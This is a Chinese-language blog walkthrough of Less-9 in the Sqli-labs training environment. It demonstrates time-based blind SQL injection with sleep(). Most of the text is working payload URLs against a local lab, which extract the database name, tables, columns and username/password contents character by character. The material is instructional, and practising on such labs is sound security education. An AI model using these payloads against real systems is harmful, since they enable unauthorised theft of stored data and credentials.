Sqli-labs less 9

Less-9

本关我们从标题就可以看到 《基于时间-单引号》,所以很明显的这关要我们利用延时注入进行,同时id参数进行的是 ' 的处理。这里我们大致的将延时注入的方法演示一次。

这里用sleep()函数。

这里因为我们利用的是时间的延迟,贴图就没有意义了,这里只写payload了:(正确的时候直接返回,不正确的时候等待5秒钟,只贴正确的)

猜测数据库:

http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

说明第一位是s (ascii码是115)

http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+

说明第一位是e (ascii码是101)

....

以此类推,我们知道了数据库名字是security

 

猜测security的数据表:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

猜测第一个数据表的第一位是e,...依次类推,得到emails

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+

猜测第二个数据表的第一位是r,...依次类推,得到referers

...

再以此类推,我们可以得到所有的数据表emails,referers,uagents,users

猜测users表的列:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

猜测users表的第一个列的第一个字符是i,

以此类推,我们得到列名是id,username,password

 

猜测username的值:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

猜测username的第一行的第一位

以此类推,我们得到数据库username,password的所有内容

 

以上的过程就是我们利用sleep()函数注入的整个过程,当然了可以离开BENCHMARK()函数进行注入,这里可以自行进行测试。我们这里就不进行演示了。

posted @ 2016-08-11 22:53  lcamry  阅读(1843)  评论(0编辑  收藏  举报